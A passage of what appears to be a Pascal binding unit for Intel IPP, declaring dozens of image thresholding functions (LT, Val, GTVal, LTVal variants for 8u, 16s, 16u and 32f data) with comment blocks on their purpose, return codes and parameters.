function ippiThreshold_LT_8u_C3R( pSrc : Ipp8uPtr ; srcStep : Int32 ; pDst : Ipp8uPtr ; dstStep : Int32 ; roiSize : IppiSize ; const threshold : Ipp8u_3): IppStatus; _ippapi
function ippiThreshold_LT_16s_C3R( pSrc : Ipp16sPtr ; srcStep : Int32 ; pDst : Ipp16sPtr ; dstStep : Int32 ; roiSize : IppiSize ; const threshold : Ipp16s_3): IppStatus; _ippapi
function ippiThreshold_LT_32f_C3R( pSrc : Ipp32fPtr ; srcStep : Int32 ; pDst : Ipp32fPtr ; dstStep : Int32 ; roiSize : IppiSize ; const threshold : Ipp32f_3): IppStatus; _ippapi
function ippiThreshold_LT_8u_AC4R( pSrc : Ipp8uPtr ; srcStep : Int32 ; pDst : Ipp8uPtr ; dstStep : Int32 ; roiSize : IppiSize ; const threshold : Ipp8u_3): IppStatus; _ippapi
function ippiThreshold_LT_16s_AC4R( pSrc : Ipp16sPtr ; srcStep : Int32 ; pDst : Ipp16sPtr ; dstStep : Int32 ; roiSize : IppiSize ; const threshold : Ipp16s_3): IppStatus; _ippapi
function ippiThreshold_LT_32f_AC4R( pSrc : Ipp32fPtr ; srcStep : Int32 ; pDst : Ipp32fPtr ; dstStep : Int32 ; roiSize : IppiSize ; const threshold : Ipp32f_3): IppStatus; _ippapi
function ippiThreshold_LT_8u_C1IR( pSrcDst : Ipp8uPtr ; srcDstStep : Int32 ; roiSize : IppiSize ; threshold : Ipp8u ): IppStatus; _ippapi
function ippiThreshold_LT_16s_C1IR( pSrcDst : Ipp16sPtr ; srcDstStep : Int32 ; roiSize : IppiSize ; threshold : Ipp16s ): IppStatus; _ippapi
function ippiThreshold_LT_32f_C1IR( pSrcDst : Ipp32fPtr ; srcDstStep : Int32 ; roiSize : IppiSize ; threshold : Ipp32f ): IppStatus; _ippapi
function ippiThreshold_LT_8u_C3IR( pSrcDst : Ipp8uPtr ; srcDstStep : Int32 ; roiSize : IppiSize ; const threshold : Ipp8u_3): IppStatus; _ippapi
function ippiThreshold_LT_16s_C3IR( pSrcDst : Ipp16sPtr ; srcDstStep : Int32 ; roiSize : IppiSize ; const threshold : Ipp16s_3): IppStatus; _ippapi
function ippiThreshold_LT_32f_C3IR( pSrcDst : Ipp32fPtr ; srcDstStep : Int32 ; roiSize : IppiSize ; const threshold : Ipp32f_3): IppStatus; _ippapi
function ippiThreshold_LT_8u_AC4IR( pSrcDst : Ipp8uPtr ; srcDstStep : Int32 ; roiSize : IppiSize ; const threshold : Ipp8u_3): IppStatus; _ippapi
function ippiThreshold_LT_16s_AC4IR( pSrcDst : Ipp16sPtr ; srcDstStep : Int32 ; roiSize : IppiSize ; const threshold : Ipp16s_3): IppStatus; _ippapi
function ippiThreshold_LT_32f_AC4IR( pSrcDst : Ipp32fPtr ; srcDstStep : Int32 ; roiSize : IppiSize ; const threshold : Ipp32f_3): IppStatus; _ippapi
function ippiThreshold_LT_16u_C1R( pSrc : Ipp16uPtr ; srcStep : Int32 ; pDst : Ipp16uPtr ; dstStep : Int32 ; roiSize : IppiSize ; threshold : Ipp16u ): IppStatus; _ippapi
function ippiThreshold_LT_16u_C3R( pSrc : Ipp16uPtr ; srcStep : Int32 ; pDst : Ipp16uPtr ; dstStep : Int32 ; roiSize : IppiSize ; const threshold : Ipp16u_3): IppStatus; _ippapi
function ippiThreshold_LT_16u_AC4R( pSrc : Ipp16uPtr ; srcStep : Int32 ; pDst : Ipp16uPtr ; dstStep : Int32 ; roiSize : IppiSize ; const threshold : Ipp16u_3): IppStatus; _ippapi
function ippiThreshold_LT_16u_C1IR( pSrcDst : Ipp16uPtr ; srcDstStep : Int32 ; roiSize : IppiSize ; threshold : Ipp16u ): IppStatus; _ippapi
function ippiThreshold_LT_16u_C3IR( pSrcDst : Ipp16uPtr ; srcDstStep : Int32 ; roiSize : IppiSize ; const threshold : Ipp16u_3): IppStatus; _ippapi
function ippiThreshold_LT_16u_AC4IR( pSrcDst : Ipp16uPtr ; srcDstStep : Int32 ; roiSize : IppiSize ; const threshold : Ipp16u_3): IppStatus; _ippapi
{ ----------------------------------------------------------------------------
Names: ippiThreshold_Val_8u_C1R
ippiThreshold_Val_8u_C3R
ippiThreshold_Val_8u_AC4R
ippiThreshold_Val_16s_C1R
ippiThreshold_Val_16s_C3R
ippiThreshold_Val_16s_AC4R
ippiThreshold_Val_32f_C1R
ippiThreshold_Val_32f_C3R
ippiThreshold_Val_32f_AC4R
ippiThreshold_Val_8u_C1IR
ippiThreshold_Val_8u_C3IR
ippiThreshold_Val_8u_AC4IR
ippiThreshold_Val_16s_C1IR
ippiThreshold_Val_16s_C3IR
ippiThreshold_Val_16s_AC4IR
ippiThreshold_Val_32f_C1IR
ippiThreshold_Val_32f_C3IR
ippiThreshold_Val_32f_AC4IR
ippiThreshold_Val_16u_C1R
ippiThreshold_Val_16u_C3R
ippiThreshold_Val_16u_AC4R
ippiThreshold_Val_16u_C1IR
ippiThreshold_Val_16u_C3IR
ippiThreshold_Val_16u_AC4IR
Purpose: Performs thresholding of pixel values: pixels that satisfy
the compare conditions are set to a specified value
Returns:
ippStsNoErr OK
ippStsNullPtrErr One of the pointers is NULL
ippStsSizeErr roiSize has a field with zero or negative value
ippStsStepErr One of the step values is zero or negative
Parameters:
pSrc Pointer to the source image
srcStep Step through the source image
pDst Pointer to the destination image
dstStep Step through the destination image
pSrcDst Pointer to the source/destination image (in-place flavors)
srcDstStep Step through the source/destination image (in-place flavors)
roiSize Size of the ROI
threshold Threshold level value (array of values for multi-channel data)
value The output value (array or values for multi-channel data)
ippCmpOp comparison mode, ippCmpLess or ippCmpGreater
}
function ippiThreshold_Val_8u_C1R( pSrc : Ipp8uPtr ; srcStep : Int32 ; pDst : Ipp8uPtr ; dstStep : Int32 ; roiSize : IppiSize ; threshold : Ipp8u ; value : Ipp8u ; ippCmpOp : IppCmpOp ): IppStatus; _ippapi
function ippiThreshold_Val_16s_C1R( pSrc : Ipp16sPtr ; srcStep : Int32 ; pDst : Ipp16sPtr ; dstStep : Int32 ; roiSize : IppiSize ; threshold : Ipp16s ; value : Ipp16s ; ippCmpOp : IppCmpOp ): IppStatus; _ippapi
function ippiThreshold_Val_32f_C1R( pSrc : Ipp32fPtr ; srcStep : Int32 ; pDst : Ipp32fPtr ; dstStep : Int32 ; roiSize : IppiSize ; threshold : Ipp32f ; value : Ipp32f ; ippCmpOp : IppCmpOp ): IppStatus; _ippapi
function ippiThreshold_Val_8u_C3R( pSrc : Ipp8uPtr ; srcStep : Int32 ; pDst : Ipp8uPtr ; dstStep : Int32 ; roiSize : IppiSize ; const threshold : Ipp8u_3 ; const value : Ipp8u_3 ; ippCmpOp : IppCmpOp ): IppStatus; _ippapi
function ippiThreshold_Val_16s_C3R( pSrc : Ipp16sPtr ; srcStep : Int32 ; pDst : Ipp16sPtr ; dstStep : Int32 ; roiSize : IppiSize ; const threshold : Ipp16s_3 ; const value : Ipp16s_3 ; ippCmpOp : IppCmpOp ): IppStatus; _ippapi
function ippiThreshold_Val_32f_C3R( pSrc : Ipp32fPtr ; srcStep : Int32 ; pDst : Ipp32fPtr ; dstStep : Int32 ; roiSize : IppiSize ; const threshold : Ipp32f_3 ; const value : Ipp32f_3 ; ippCmpOp : IppCmpOp ): IppStatus; _ippapi
function ippiThreshold_Val_8u_AC4R( pSrc : Ipp8uPtr ; srcStep : Int32 ; pDst : Ipp8uPtr ; dstStep : Int32 ; roiSize : IppiSize ; const threshold : Ipp8u_3 ; const value : Ipp8u_3 ; ippCmpOp : IppCmpOp ): IppStatus; _ippapi
function ippiThreshold_Val_16s_AC4R( pSrc : Ipp16sPtr ; srcStep : Int32 ; pDst : Ipp16sPtr ; dstStep : Int32 ; roiSize : IppiSize ; const threshold : Ipp16s_3 ; const value : Ipp16s_3 ; ippCmpOp : IppCmpOp ): IppStatus; _ippapi
function ippiThreshold_Val_32f_AC4R( pSrc : Ipp32fPtr ; srcStep : Int32 ; pDst : Ipp32fPtr ; dstStep : Int32 ; roiSize : IppiSize ; const threshold : Ipp32f_3 ; const value : Ipp32f_3 ; ippCmpOp : IppCmpOp ): IppStatus; _ippapi
function ippiThreshold_Val_8u_C1IR( pSrcDst : Ipp8uPtr ; srcDstStep : Int32 ; roiSize : IppiSize ; threshold : Ipp8u ; value : Ipp8u ; ippCmpOp : IppCmpOp ): IppStatus; _ippapi
function ippiThreshold_Val_16s_C1IR( pSrcDst : Ipp16sPtr ; srcDstStep : Int32 ; roiSize : IppiSize ; threshold : Ipp16s ; value : Ipp16s ; ippCmpOp : IppCmpOp ): IppStatus; _ippapi
function ippiThreshold_Val_32f_C1IR( pSrcDst : Ipp32fPtr ; srcDstStep : Int32 ; roiSize : IppiSize ; threshold : Ipp32f ; value : Ipp32f ; ippCmpOp : IppCmpOp ): IppStatus; _ippapi
function ippiThreshold_Val_8u_C3IR( pSrcDst : Ipp8uPtr ; srcDstStep : Int32 ; roiSize : IppiSize ; const threshold : Ipp8u_3 ; const value : Ipp8u_3 ; ippCmpOp : IppCmpOp ): IppStatus; _ippapi
function ippiThreshold_Val_16s_C3IR( pSrcDst : Ipp16sPtr ; srcDstStep : Int32 ; roiSize : IppiSize ; const threshold : Ipp16s_3 ; const value : Ipp16s_3 ; ippCmpOp : IppCmpOp ): IppStatus; _ippapi
function ippiThreshold_Val_32f_C3IR( pSrcDst : Ipp32fPtr ; srcDstStep : Int32 ; roiSize : IppiSize ; const threshold : Ipp32f_3 ; const value : Ipp32f_3 ; ippCmpOp : IppCmpOp ): IppStatus; _ippapi
function ippiThreshold_Val_8u_AC4IR( pSrcDst : Ipp8uPtr ; srcDstStep : Int32 ; roiSize : IppiSize ; const threshold : Ipp8u_3 ; const value : Ipp8u_3 ; ippCmpOp : IppCmpOp ): IppStatus; _ippapi
function ippiThreshold_Val_16s_AC4IR( pSrcDst : Ipp16sPtr ; srcDstStep : Int32 ; roiSize : IppiSize ; const threshold : Ipp16s_3 ; const value : Ipp16s_3 ; ippCmpOp : IppCmpOp ): IppStatus; _ippapi
function ippiThreshold_Val_32f_AC4IR( pSrcDst : Ipp32fPtr ; srcDstStep : Int32 ; roiSize : IppiSize ; const threshold : Ipp32f_3 ; const value : Ipp32f_3 ; ippCmpOp : IppCmpOp ): IppStatus; _ippapi
function ippiThreshold_Val_16u_C1R( pSrc : Ipp16uPtr ; srcStep : Int32 ; pDst : Ipp16uPtr ; dstStep : Int32 ; roiSize : IppiSize ; threshold : Ipp16u ; value : Ipp16u ; ippCmpOp : IppCmpOp ): IppStatus; _ippapi
function ippiThreshold_Val_16u_C3R( pSrc : Ipp16uPtr ; srcStep : Int32 ; pDst : Ipp16uPtr ; dstStep : Int32 ; roiSize : IppiSize ; const threshold : Ipp16u_3 ; const value : Ipp16u_3 ; ippCmpOp : IppCmpOp ): IppStatus; _ippapi
function ippiThreshold_Val_16u_AC4R( pSrc : Ipp16uPtr ; srcStep : Int32 ; pDst : Ipp16uPtr ; dstStep : Int32 ; roiSize : IppiSize ; const threshold : Ipp16u_3 ; const value : Ipp16u_3 ; ippCmpOp : IppCmpOp ): IppStatus; _ippapi
function ippiThreshold_Val_16u_C1IR( pSrcDst : Ipp16uPtr ; srcDstStep : Int32 ; roiSize : IppiSize ; threshold : Ipp16u ; value : Ipp16u ; ippCmpOp : IppCmpOp ): IppStatus; _ippapi
function ippiThreshold_Val_16u_C3IR( pSrcDst : Ipp16uPtr ; srcDstStep : Int32 ; roiSize : IppiSize ; const threshold : Ipp16u_3 ; const value : Ipp16u_3 ; ippCmpOp : IppCmpOp ): IppStatus; _ippapi
function ippiThreshold_Val_16u_AC4IR( pSrcDst : Ipp16uPtr ; srcDstStep : Int32 ; roiSize : IppiSize ; const threshold : Ipp16u_3 ; const value : Ipp16u_3 ; ippCmpOp : IppCmpOp ): IppStatus; _ippapi
{ ----------------------------------------------------------------------------
Names: ippiThreshold_GTVal_8u_C1R
ippiThreshold_GTVal_8u_C3R
ippiThreshold_GTVal_8u_AC4R
ippiThreshold_GTVal_16s_C1R
ippiThreshold_GTVal_16s_C3R
ippiThreshold_GTVal_16s_AC4R
ippiThreshold_GTVal_32f_C1R
ippiThreshold_GTVal_32f_C3R
ippiThreshold_GTVal_32f_AC4R
ippiThreshold_GTVal_8u_C1IR
ippiThreshold_GTVal_8u_C3IR
ippiThreshold_GTVal_8u_AC4IR
ippiThreshold_GTVal_16s_C1IR
ippiThreshold_GTVal_16s_C3IR
ippiThreshold_GTVal_16s_AC4IR
ippiThreshold_GTVal_32f_C1IR
ippiThreshold_GTVal_32f_C3IR
ippiThreshold_GTVal_32f_AC4IR
ippiThreshold_GTVal_8u_C4R
ippiThreshold_GTVal_16s_C4R
ippiThreshold_GTVal_32f_C4R
ippiThreshold_GTVal_8u_C4IR
ippiThreshold_GTVal_16s_C4IR
ippiThreshold_GTVal_32f_C4IR
ippiThreshold_GTVal_16u_C1R
ippiThreshold_GTVal_16u_C3R
ippiThreshold_GTVal_16u_AC4R
ippiThreshold_GTVal_16u_C1IR
ippiThreshold_GTVal_16u_C3IR
ippiThreshold_GTVal_16u_AC4IR
ippiThreshold_GTVal_16u_C4R
ippiThreshold_GTVal_16u_C4IR
Purpose: Performs thresholding of pixel values: pixels that are
greater than threshold, are set to a specified value
Returns:
ippStsNoErr OK
ippStsNullPtrErr One of the pointers is NULL
ippStsSizeErr roiSize has a field with zero or negative value
ippStsStepErr One of the step values is zero or negative
Parameters:
pSrc Pointer to the source image
srcStep Step through the source image
pDst Pointer to the destination image
dstStep Step through the destination image
pSrcDst Pointer to the source/destination image (in-place flavors)
srcDstStep Step through the source/destination image (in-place flavors)
roiSize Size of the ROI
threshold Threshold level value (array of values for multi-channel data)
value The output value (array or values for multi-channel data)
}
function ippiThreshold_GTVal_8u_C1R( pSrc : Ipp8uPtr ; srcStep : Int32 ; pDst : Ipp8uPtr ; dstStep : Int32 ; roiSize : IppiSize ; threshold : Ipp8u ; value : Ipp8u ): IppStatus; _ippapi
function ippiThreshold_GTVal_16s_C1R( pSrc : Ipp16sPtr ; srcStep : Int32 ; pDst : Ipp16sPtr ; dstStep : Int32 ; roiSize : IppiSize ; threshold : Ipp16s ; value : Ipp16s ): IppStatus; _ippapi
function ippiThreshold_GTVal_32f_C1R( pSrc : Ipp32fPtr ; srcStep : Int32 ; pDst : Ipp32fPtr ; dstStep : Int32 ; roiSize : IppiSize ; threshold : Ipp32f ; value : Ipp32f ): IppStatus; _ippapi
function ippiThreshold_GTVal_8u_C3R( pSrc : Ipp8uPtr ; srcStep : Int32 ; pDst : Ipp8uPtr ; dstStep : Int32 ; roiSize : IppiSize ; const threshold : Ipp8u_3 ; const value : Ipp8u_3): IppStatus; _ippapi
function ippiThreshold_GTVal_16s_C3R( pSrc : Ipp16sPtr ; srcStep : Int32 ; pDst : Ipp16sPtr ; dstStep : Int32 ; roiSize : IppiSize ; const threshold : Ipp16s_3 ; const value : Ipp16s_3): IppStatus; _ippapi
function ippiThreshold_GTVal_32f_C3R( pSrc : Ipp32fPtr ; srcStep : Int32 ; pDst : Ipp32fPtr ; dstStep : Int32 ; roiSize : IppiSize ; const threshold : Ipp32f_3 ; const value : Ipp32f_3): IppStatus; _ippapi
function ippiThreshold_GTVal_8u_AC4R( pSrc : Ipp8uPtr ; srcStep : Int32 ; pDst : Ipp8uPtr ; dstStep : Int32 ; roiSize : IppiSize ; const threshold : Ipp8u_3 ; const value : Ipp8u_3): IppStatus; _ippapi
function ippiThreshold_GTVal_16s_AC4R( pSrc : Ipp16sPtr ; srcStep : Int32 ; pDst : Ipp16sPtr ; dstStep : Int32 ; roiSize : IppiSize ; const threshold : Ipp16s_3 ; const value : Ipp16s_3): IppStatus; _ippapi
function ippiThreshold_GTVal_32f_AC4R( pSrc : Ipp32fPtr ; srcStep : Int32 ; pDst : Ipp32fPtr ; dstStep : Int32 ; roiSize : IppiSize ; const threshold : Ipp32f_3 ; const value : Ipp32f_3): IppStatus; _ippapi
function ippiThreshold_GTVal_8u_C1IR( pSrcDst : Ipp8uPtr ; srcDstStep : Int32 ; roiSize : IppiSize ; threshold : Ipp8u ; value : Ipp8u ): IppStatus; _ippapi
function ippiThreshold_GTVal_16s_C1IR( pSrcDst : Ipp16sPtr ; srcDstStep : Int32 ; roiSize : IppiSize ; threshold : Ipp16s ; value : Ipp16s ): IppStatus; _ippapi
function ippiThreshold_GTVal_32f_C1IR( pSrcDst : Ipp32fPtr ; srcDstStep : Int32 ; roiSize : IppiSize ; threshold : Ipp32f ; value : Ipp32f ): IppStatus; _ippapi
function ippiThreshold_GTVal_8u_C3IR( pSrcDst : Ipp8uPtr ; srcDstStep : Int32 ; roiSize : IppiSize ; const threshold : Ipp8u_3 ; const value : Ipp8u_3): IppStatus; _ippapi
function ippiThreshold_GTVal_16s_C3IR( pSrcDst : Ipp16sPtr ; srcDstStep : Int32 ; roiSize : IppiSize ; const threshold : Ipp16s_3 ; const value : Ipp16s_3): IppStatus; _ippapi
function ippiThreshold_GTVal_32f_C3IR( pSrcDst : Ipp32fPtr ; srcDstStep : Int32 ; roiSize : IppiSize ; const threshold : Ipp32f_3 ; const value : Ipp32f_3): IppStatus; _ippapi
function ippiThreshold_GTVal_8u_AC4IR( pSrcDst : Ipp8uPtr ; srcDstStep : Int32 ; roiSize : IppiSize ; const threshold : Ipp8u_3 ; const value : Ipp8u_3): IppStatus; _ippapi
function ippiThreshold_GTVal_16s_AC4IR( pSrcDst : Ipp16sPtr ; srcDstStep : Int32 ; roiSize : IppiSize ; const threshold : Ipp16s_3 ; const value : Ipp16s_3): IppStatus; _ippapi
function ippiThreshold_GTVal_32f_AC4IR( pSrcDst : Ipp32fPtr ; srcDstStep : Int32 ; roiSize : IppiSize ; const threshold : Ipp32f_3 ; const value : Ipp32f_3): IppStatus; _ippapi
function ippiThreshold_GTVal_8u_C4R( pSrc : Ipp8uPtr ; srcStep : Int32 ; pDst : Ipp8uPtr ; dstStep : Int32 ; roiSize : IppiSize ; const threshold : Ipp8u_4 ; const value : Ipp8u_4): IppStatus; _ippapi
function ippiThreshold_GTVal_16s_C4R( pSrc : Ipp16sPtr ; srcStep : Int32 ; pDst : Ipp16sPtr ; dstStep : Int32 ; roiSize : IppiSize ; const threshold : Ipp16s_4 ; const value : Ipp16s_4): IppStatus; _ippapi
function ippiThreshold_GTVal_32f_C4R( pSrc : Ipp32fPtr ; srcStep : Int32 ; pDst : Ipp32fPtr ; dstStep : Int32 ; roiSize : IppiSize ; const threshold : Ipp32f_4 ; const value : Ipp32f_4): IppStatus; _ippapi
function ippiThreshold_GTVal_8u_C4IR( pSrcDst : Ipp8uPtr ; srcDstStep : Int32 ; roiSize : IppiSize ; const threshold : Ipp8u_4 ; const value : Ipp8u_4): IppStatus; _ippapi
function ippiThreshold_GTVal_16s_C4IR( pSrcDst : Ipp16sPtr ; srcDstStep : Int32 ; roiSize : IppiSize ; const threshold : Ipp16s_4 ; const value : Ipp16s_4): IppStatus; _ippapi
function ippiThreshold_GTVal_32f_C4IR( pSrcDst : Ipp32fPtr ; srcDstStep : Int32 ; roiSize : IppiSize ; const threshold : Ipp32f_4 ; const value : Ipp32f_4): IppStatus; _ippapi
function ippiThreshold_GTVal_16u_C1R( pSrc : Ipp16uPtr ; srcStep : Int32 ; pDst : Ipp16uPtr ; dstStep : Int32 ; roiSize : IppiSize ; threshold : Ipp16u ; value : Ipp16u ): IppStatus; _ippapi
function ippiThreshold_GTVal_16u_C3R( pSrc : Ipp16uPtr ; srcStep : Int32 ; pDst : Ipp16uPtr ; dstStep : Int32 ; roiSize : IppiSize ; const threshold : Ipp16u_3 ; const value : Ipp16u_3): IppStatus; _ippapi
function ippiThreshold_GTVal_16u_AC4R( pSrc : Ipp16uPtr ; srcStep : Int32 ; pDst : Ipp16uPtr ; dstStep : Int32 ; roiSize : IppiSize ; const threshold : Ipp16u_3 ; const value : Ipp16u_3): IppStatus; _ippapi
function ippiThreshold_GTVal_16u_C1IR( pSrcDst : Ipp16uPtr ; srcDstStep : Int32 ; roiSize : IppiSize ; threshold : Ipp16u ; value : Ipp16u ): IppStatus; _ippapi
function ippiThreshold_GTVal_16u_C3IR( pSrcDst : Ipp16uPtr ; srcDstStep : Int32 ; roiSize : IppiSize ; const threshold : Ipp16u_3 ; const value : Ipp16u_3): IppStatus; _ippapi
function ippiThreshold_GTVal_16u_AC4IR( pSrcDst : Ipp16uPtr ; srcDstStep : Int32 ; roiSize : IppiSize ; const threshold : Ipp16u_3 ; const value : Ipp16u_3): IppStatus; _ippapi
function ippiThreshold_GTVal_16u_C4R( pSrc : Ipp16uPtr ; srcStep : Int32 ; pDst : Ipp16uPtr ; dstStep : Int32 ; roiSize : IppiSize ; const threshold : Ipp16u_4 ; const value : Ipp16u_4): IppStatus; _ippapi
function ippiThreshold_GTVal_16u_C4IR( pSrcDst : Ipp16uPtr ; srcDstStep : Int32 ; roiSize : IppiSize ; const threshold : Ipp16u_4 ; const value : Ipp16u_4): IppStatus; _ippapi
{ ----------------------------------------------------------------------------
Names: ippiThreshold_LTVal_8u_C1R
ippiThreshold_LTVal_8u_C3R
ippiThreshold_LTVal_8u_AC4R
ippiThreshold_LTVal_16s_C1R
ippiThreshold_LTVal_16s_C3R
ippiThreshold_LTVal_16s_AC4R
ippiThreshold_LTVal_32f_C1R
ippiThreshold_LTVal_32f_C3R
ippiThreshold_LTVal_32f_AC4R
ippiThreshold_LTVal_8u_C1IR
ippiThreshold_LTVal_8u_C3IR
ippiThreshold_LTVal_8u_AC4IR
ippiThreshold_LTVal_16s_C1IR
ippiThreshold_LTVal_16s_C3IR
ippiThreshold_LTVal_16s_AC4IR
ippiThreshold_LTVal_32f_C1IR
ippiThreshold_LTVal_32f_C3IR
ippiThreshold_LTVal_32f_AC4IR
ippiThreshold_LTVal_8u_C4R
ippiThreshold_LTVal_16s_C4R
ippiThreshold_LTVal_32f_C4R
ippiThreshold_LTVal_8u_C4IR
ippiThreshold_LTVal_16s_C4IR
ippiThreshold_LTVal_32f_C4IR
ippiThreshold_LTVal_16u_C1R
ippiThreshold_LTVal_16u_C3R
ippiThreshold_LTVal_16u_AC4R
ippiThreshold_LTVal_16u_C1IR
ippiThreshold_LTVal_16u_C3IR
ippiThreshold_LTVal_16u_AC4IR
ippiThreshold_LTVal_16u_C4R
ippiThreshold_LTVal_16u_C4IR
Purpose: Performs thresholding of pixel values: pixels that are
less than threshold, are set to a specified value
Returns:
ippStsNoErr OK
ippStsNullPtrErr One of the pointers is NULL
ippStsSizeErr roiSize has a field with zero or negative value
ippStsStepErr One of the step values is zero or negative
Parameters:
pSrc Pointer to the source image
srcStep Step through the source image
pDst Pointer to the destination image
dstStep Step through the destination image
pSrcDst Pointer to the source/destination image (in-place flavors)
srcDstStep Step through the source/destination image (in-place flavors)
roiSize Size of the ROI
threshold Threshold level value (array of values for multi-channel data)
value The output value (array or values for multi-channel data)
}
function ippiThreshold_LTVal_8u_C1R( pSrc : Ipp8uPtr ; srcStep : Int32 ; pDst : Ipp8uPtr ; dstStep : Int32 ; roiSize : IppiSize ; threshold : Ipp8u ; value : Ipp8u ): IppStatus; _ippapi
function ippiThreshold_LTVal_16s_C1R( pSrc : Ipp16sPtr ; srcStep : Int32 ; pDst : Ipp16sPtr ; dstStep : Int32 ; roiSize : IppiSize ; threshold : Ipp16s ; value : Ipp16s ): IppStatus; _ippapi
function ippiThreshold_LTVal_32f_C1R( pSrc : Ipp32fPtr ; srcStep : Int32 ; pDst : Ipp32fPtr ; dstStep : Int32 ; roiSize : IppiSize ; threshold : Ipp32f ; value : Ipp32f ): IppStatus; _ippapi
function ippiThreshold_LTVal_8u_C3R( pSrc : Ipp8uPtr ; srcStep : Int32 ; pDst : Ipp8uPtr ; dstStep : Int32 ; roiSize : IppiSize ; const threshold : Ipp8u_3 ; const value : Ipp8u_3): IppStatus; _ippapi
function ippiThreshold_LTVal_16s_C3R( pSrc : Ipp16sPtr ; srcStep : Int32 ; pDst : Ipp16sPtr ; dstStep : Int32 ; roiSize : IppiSize ; const threshold : Ipp16s_3 ; const value : Ipp16s_3): IppStatus; _ippapi
function ippiThreshold_LTVal_32f_C3R( pSrc : Ipp32fPtr ; srcStep : Int32 ; pDst : Ipp32fPtr ; dstStep : Int32 ; roiSize : IppiSize ; const threshold : Ipp32f_3 ; const value : Ipp32f_3): IppStatus; _ippapi
function ippiThreshold_LTVal_8u_AC4R( pSrc : Ipp8uPtr ; srcStep : Int32 ; pDst : Ipp8uPtr ; dstStep : Int32 ; roiSize : IppiSize ; const threshold : Ipp8u_3 ; const value : Ipp8u_3): IppStatus; _ippapi
function ippiThreshold_LTVal_16s_AC4R( pSrc : Ipp16sPtr ; srcStep : Int32 ; pDst : Ipp16sPtr ; dstStep : Int32 ; roiSize : IppiSize ; const threshold : Ipp16s_3 ; const value : Ipp16s_3): IppStatus; _ippapi
function ippiThreshold_LTVal_32f_AC4R( pSrc : Ipp32fPtr ; srcStep : Int32 ; pDst : Ipp32fPtr ; dstStep : Int32 ; roiSize : IppiSize ; const threshold : Ipp32f_3 ; const value : Ipp32f_3): IppStatus; _ippapi
function ippiThreshold_LTVal_8u_C1IR( pSrcDst : Ipp8uPtr ; srcDstStep : Int32 ; roiSize : IppiSize ; threshold : Ipp8u ; value : Ipp8u ): IppStatus; _ippapi
function ippiThreshold_LTVal_16s_C1IR( pSrcDst : Ipp16sPtr ; srcDstStep : Int32 ; roiSize : IppiSize ; threshold : Ipp16s ; value : Ipp16s ): IppStatus; _ippapi
function ippiThreshold_LTVal_32f_C1IR( pSrcDst : Ipp32fPtr ; srcDstStep : Int32 ; roiSize : IppiSize ; threshold : Ipp32f ; value : Ipp32f ): IppStatus; _ippapi
function ippiThreshold_LTVal_8u_C3IR( pSrcDst : Ipp8uPtr ; srcDstStep : Int32 ; roiSize : IppiSize ; const threshold : Ipp8u_3 ; const value : Ipp8u_3): IppStatus; _ippapi
function ippiThreshold_LTVal_16s_C3IR( pSrcDst : Ipp16sPtr ; srcDstStep : Int32 ; roiSize : IppiSize ; const threshold : Ipp16s_3 ; const value : Ipp16s_3): IppStatus; _ippapi
function ippiThreshold_LTVal_32f_C3IR( pSrcDst : Ipp32fPtr ; srcDstStep : Int32 ; roiSize : IppiSize ; const threshold : Ipp32f_3 ; const value : Ipp32f_3): IppStatus; _ippapi
function ippiThreshold_LTVal_8u_AC4IR( pSrcDst : Ipp8uPtr ; srcDstStep : Int32 ; roiSize : IppiSize ; const threshold : Ipp8u_3 ; const value : Ipp8u_3): IppStatus; _ippapi
function ippiThreshold_LTVal_16s_AC4IR( pSrcDst : Ipp16sPtr ; srcDstStep : Int32 ; roiSize : IppiSize ; const threshold : Ipp16s_3 ; const value : Ipp16s_3): IppStatus; _ippapi
function ippiThreshold_LTVal_32f_AC4IR( pSrcDst : Ipp32fPtr ; srcDstStep : Int32 ; roiSize : IppiSize ; const threshold : Ipp32f_3 ; const value : Ipp32f_3): IppStatus; _ippapi
function ippiThreshold_LTVal_8u_C4R( pSrc : Ipp8uPtr ; srcStep : Int32 ; pDst : Ipp8uPtr ; dstStep : Int32 ; roiSize : IppiSize ; const threshold : Ipp8u_4 ; const value : Ipp8u_4): IppStatus; _ippapi
function ippiThreshold_LTVal_16s_C4R( pSrc : Ipp16sPtr ; srcStep : Int32 ; pDst : Ipp16sPtr ; dstStep : Int32 ; roiSize : IppiSize ; const threshold : Ipp16s_4 ; const value : Ipp16s_4): IppStatus; _ippapi
function ippiThreshold_LTVal_32f_C4R( pSrc : Ipp32fPtr ; srcStep : Int32 ; pDst : Ipp32fPtr ; dstStep : Int32 ; roiSize : IppiSize ; const threshold : Ipp32f_4 ; const value : Ipp32f_4): IppStatus; _ippapi
function ippiThreshold_LTVal_8u_C4IR( pSrcDst : Ipp8uPtr ; srcDstStep : Int32 ; roiSize : IppiSize ; const threshold : Ipp8u_4 ; const value : Ipp8u_4): IppStatus; _ippapi
function ippiThreshold_LTVal_16s_C4IR( pSrcDst : Ipp16sPtr ; srcDstStep : Int32 ; roiSize : IppiSize ; const threshold : Ipp16s_4 ; const value : Ipp16s_4): IppStatus; _ippapi
function ippiThreshold_LTVal_32f_C4IR( pSrcDst : Ipp32fPtr ; srcDstStep : Int32 ; roiSize : IppiSize ; const threshold : Ipp32f_4 ; const value : Ipp32f_4): IppStatus; _ippapi
function ippiThreshold_LTVal_16u_C1R( pSrc : Ipp16uPtr ; srcStep : Int32 ; pDst : Ipp16uPtr ; dstStep : Int32 ; roiSize : IppiSize ; threshold : Ipp16u ; value : Ipp16u ): IppStatus; _ippapi
function ippiThreshold_LTVal_16u_C3R( pSrc : Ipp16uPtr ; srcStep : Int32 ; pDst : Ipp16uPtr ; dstStep : Int32 ; roiSize : IppiSize ; const threshold : Ipp16u_3 ; const value : Ipp16u_3): IppStatus; _ippapi
function ippiThreshold_LTVal_16u_AC4R( pSrc : Ipp16uPtr ; srcStep : Int32 ; pDst : Ipp16uPtr ; dstStep : Int32 ; roiSize : IppiSize ; const threshold : Ipp16u_3 ; const value : Ipp16u_3): IppStatus; _ippapi
function ippiThreshold_LTVal_16u_C1IR( pSrcDst : Ipp16uPtr ; srcDstStep : Int32 ; roiSize : IppiSize ; threshold : Ipp16u ; value : Ipp16u ): IppStatus; _ippapi
function ippiThreshold_LTVal_16u_C3IR( pSrcDst : Ipp16uPtr ; srcDstStep : Int32 ; roiSize : IppiSize ; const threshold : Ipp16u_3 ; const value : Ipp16u_3): IppStatus; _ippapi
function ippiThreshold_LTVal_16u_AC4IR( pSrcDst : Ipp16uPtr ; srcDstStep : Int32 ; roiSize : IppiSize ; const threshold : Ipp16u_3 ; const value : Ipp16u_3): IppStatus; _ippapi
